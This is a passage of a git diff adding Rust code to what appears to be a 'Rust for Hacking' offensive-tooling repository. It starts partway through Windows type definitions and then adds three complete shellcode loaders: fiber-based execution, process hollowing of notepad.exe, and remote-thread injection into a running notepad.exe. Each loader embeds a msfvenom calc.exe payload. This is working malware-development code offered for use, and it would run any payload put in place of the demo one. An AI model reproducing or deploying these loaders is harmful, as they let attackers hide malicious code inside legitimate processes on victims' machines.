SIZE_T(pub usize);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct ULONG(pub u32);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct ULONG_PTR(pub usize);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct ULONG64(pub u64);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct USHORT(pub u16);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct WCHAR(pub u16);++#[repr(transparent)]+#[allow(non_camel_case_types)]+pub struct WORD(pub u16);diff --git a/Rust for Hacking/Process/process_fiber.rs b/Rust for Hacking/Process/process_fiber.rsnew file mode 100644index 0000000..b7f91e5--- /dev/null+++ b/Rust for Hacking/Process/process_fiber.rs@@ -0,0 +1,47 @@+/*+ Process Execution Through Fibers+ @5mukx+*/++use winapi::um::winbase::{ConvertThreadToFiber, CreateFiber, SwitchToFiber};+use std::ptr::null_mut;++#[link_section = ".text"]+// msfvenom calc.exe shellcode !+static SHELLCODE: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,+ 0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,+ 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,+ 0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,+ 0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,+ 0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,+ 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,+ 0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,+ 0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,+ 0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,+ 0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,+ 0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,+ 0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,+ 0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,+ 0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,+ 0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,+ 0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,+ 0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,+ 0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,+ 0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,+ 0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,+ 0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,+ 0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,+ 0x2e,0x65,0x78,0x65,0x00];++fn main(){+ unsafe{+ let fiber_addr = CreateFiber(+ 0,+ std::mem::transmute(&SHELLCODE),+ null_mut(),+ );++ ConvertThreadToFiber(null_mut());+ SwitchToFiber(fiber_addr);+ }+}diff --git a/Rust for Hacking/Process/process_hollowing.rs b/Rust for Hacking/Process/process_hollowing.rsnew file mode 100644index 0000000..802c3bb--- /dev/null+++ b/Rust for Hacking/Process/process_hollowing.rs@@ -0,0 +1,189 @@+/*+ Process Hollowing Technique+ Special Thanks to m0n0ph1 for Great Explanation: https://github.com/m0n0ph1/Process-Hollowing/tree/master+ @5mukx (^_^)+*/++extern crate winapi;++use std::ptr::{null_mut, null};+use std::ffi::CString;+use std::mem::{size_of, zeroed};+use winapi::um::processthreadsapi::{CreateProcessA, ResumeThread, PROCESS_INFORMATION, STARTUPINFOA};+use winapi::um::winbase::CREATE_SUSPENDED;+use winapi::um::memoryapi::{ReadProcessMemory, WriteProcessMemory, VirtualProtectEx};+use winapi::um::winnt::PAGE_EXECUTE_READWRITE;+use winapi::um::handleapi::CloseHandle;+use winapi::um::errhandlingapi::GetLastError;+use winapi::shared::ntdef::PSTR;+use ntapi::ntpsapi::PROCESS_BASIC_INFORMATION;+use ntapi::ntpsapi::NtQueryInformationProcess;+++macro_rules! okey {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[+] {}", format!($msg, $($arg), *));+ }+}++macro_rules! error {+ ($msg:expr, $($arg:expr), *) => {+ println!("\\_____[-] {}", format!($msg, $($arg), *));+ }+}++fn main() {+ unsafe {++ let shellcode: [u8; 276] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];++ let target = CString::new("C:\\Windows\\System32\\notepad.exe").expect("CString::new failed");+ let mut startup_info: STARTUPINFOA = zeroed();+ let mut process_info: PROCESS_INFORMATION = zeroed();++ let process = CreateProcessA(+ null(),+ target.as_ptr() as PSTR,+ null_mut(),+ null_mut(),+ 0,+ CREATE_SUSPENDED,+ null_mut(),+ null_mut(),+ &mut startup_info,+ &mut process_info,+ );++ if process == 0 {+ error!("Failed to Create Process : {}", GetLastError());+ return;+ }++ let mut process_basic_info: PROCESS_BASIC_INFORMATION = zeroed();+ let status = NtQueryInformationProcess(+ process_info.hProcess,+ 0, // ProcessBasicInformation+ &mut process_basic_info as *mut _ as *mut _,+ size_of::<PROCESS_BASIC_INFORMATION>() as u32,+ null_mut(),+ );++ if status != 0 {+ error!("Failed to Query Process Information : {}", GetLastError());+ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ return;+ }++ let image_base_address = process_basic_info.PebBaseAddress as *mut u8;+ let mut base_address = 0;+ let read_result = ReadProcessMemory(+ process_info.hProcess,+ image_base_address.offset(0x10) as *const _,+ &mut base_address as *mut _ as *mut _,+ size_of::<usize>(),+ null_mut(),+ );++ if read_result == 0 {+ error!("Failed to read the process memory: {}", GetLastError());+ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ return;+ }++ let mut headers: [u8; 0x200] = [0; 0x200];+ let read_result = ReadProcessMemory(+ process_info.hProcess,+ base_address as *const _,+ headers.as_mut_ptr() as *mut _,+ headers.len(),+ null_mut(),+ );++ if read_result == 0 {+ error!("Failed to read PE headers: {}", GetLastError());+ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ return;+ }++ let e_lfanew = *(&headers[0x3C] as *const u8 as *const i32);+ let entry_point_rva = *(&headers[(e_lfanew + 0x28) as usize] as *const u8 as *const u32);+ let entry_point_address = base_address + entry_point_rva as usize;++ let old_protect: u32 = 0;+ let protection = VirtualProtectEx(+ process_info.hProcess,+ entry_point_address as *mut _,+ shellcode.len(),+ PAGE_EXECUTE_READWRITE,+ &old_protect as *const _ as *mut _,+ );++ if protection == 0 {+ error!("Failed to change memory protections: {}", GetLastError());+ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ return;+ }++ let write_result = WriteProcessMemory(+ process_info.hProcess,+ entry_point_address as *mut _,+ shellcode.as_ptr() as *const _,+ shellcode.len(),+ null_mut(),+ );++ if write_result == 0 {+ error!("Failed to write shellcode to process memory: {}", GetLastError());+ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ return;+ }++ let protection = VirtualProtectEx(+ process_info.hProcess,+ entry_point_address as *mut _,+ shellcode.len(),+ old_protect,+ &old_protect as *const _ as *mut _,+ );++ if protection == 0 {+ error!("Failed to restore memory protections: {}", GetLastError());+ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ return;+ }++ ResumeThread(process_info.hThread);+ okey!("Process Successfully Resumed {}", '!');++ CloseHandle(process_info.hProcess);+ CloseHandle(process_info.hThread);+ }+}++diff --git a/Rust for Hacking/Process/remote_mapping_injection.rs b/Rust for Hacking/Process/remote_mapping_injection.rsnew file mode 100644index 0000000..6467fed--- /dev/null+++ b/Rust for Hacking/Process/remote_mapping_injection.rs@@ -0,0 +1,144 @@+/*+ Remote Memory Mapping Injection+ Special Thanks to MaldevAcademy. These technique was leaned from their resource ...+ @5mukx+*/+use std::{+ ffi::CString,+ ptr::null_mut,+ mem::transmute,+};+use winapi::{+ shared::{+ minwindef::FALSE, ntdef::PVOID+ },+ um::{+ errhandlingapi::GetLastError, handleapi::CloseHandle, memoryapi::{VirtualAllocEx, WriteProcessMemory}, processthreadsapi::{CreateRemoteThread, OpenProcess}, synchapi::WaitForSingleObject, tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS}, winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, PROCESS_ALL_ACCESS}+ },+};++macro_rules! err {+ ($msg:expr, $($arg:expr), *) => {+ println!("[-] {}", format!($msg, $($arg), *));+ }+}++macro_rules! okey {+ ($msg:expr) => {+ println!("[+] {}", format!($msg));+ }+}+fn get_pid(process_name: &str) -> u32 {+ unsafe {+ let mut pe: PROCESSENTRY32 = std::mem::zeroed();+ pe.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;++ let snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);+ if snap.is_null() {+ err!("Error while snapshotting processes: Error: {}", GetLastError());+ std::process::exit(0);+ }++ let mut pid = 0;++ let mut result = Process32First(snap, &mut pe) != 0;++ while result {+ let exe_file = CString::from_vec_unchecked(+ pe.szExeFile+ .iter()+ .map(|&file| file as u8)+ .take_while(|&c| c != 0)+ .collect::<Vec<u8>>(),+ );++ if exe_file.to_str().unwrap() == process_name {+ pid = pe.th32ProcessID;+ break;+ }+ result = Process32Next(snap, &mut pe) != 0;+ }++ if pid == 0 {+ err!("Unable to get PID for {}: {}", process_name, "PROCESS DOESN'T EXIST");+ std::process::exit(0);+ }++ CloseHandle(snap);+ pid+ }+}++fn main() {+ let shellcode: [u8; 276] = [+ 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,+ 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,+ 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,+ 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,+ 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,+ 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,+ 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,+ 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,+ 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,+ 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,+ 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,+ 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,+ 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,+ 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,+ 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,+ 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,+ 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,+ 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,+ 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,+ ];++ unsafe {+ let process_id = get_pid("notepad.exe");++ let process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);+ if process_handle.is_null() {+ err!("Error: Failed to open process: {}",GetLastError());+ return;+ }++ let allocated_memory = VirtualAllocEx(+ process_handle,+ null_mut(),+ shellcode.len(),+ MEM_COMMIT | MEM_RESERVE,+ PAGE_EXECUTE_READWRITE,+ );+ if allocated_memory.is_null() {+ err!("Error: Failed to allocate memory in remote process: {}",GetLastError());+ return;+ }++ if WriteProcessMemory(process_handle, allocated_memory, shellcode.as_ptr() as PVOID, shellcode.len(), null_mut()) == 0 {+ err!("Error: Failed to write shellcode to remote process: {}",GetLastError());+ return;+ }++ let thread_handle = CreateRemoteThread(+ process_handle,+ null_mut(),+ 0,+ transmute(allocated_memory),+ null_mut(),+ 0,+ null_mut(),+ );+ if thread_handle.is_null() {+ err!("Error: Failed to create remote thread :{}",GetLastError());+ return;+ }++ let wait_result = WaitForSingleObject(thread_handle, winapi::um::winbase::INFINITE);+ if wait_result != winapi::um::winbase::WAIT_OBJECT_0 {+ err!("Error: WaitForSingleObject failed : {}",GetLastError());+ return;+ }++ okey!("Shellcode executed successfully");+ }+}+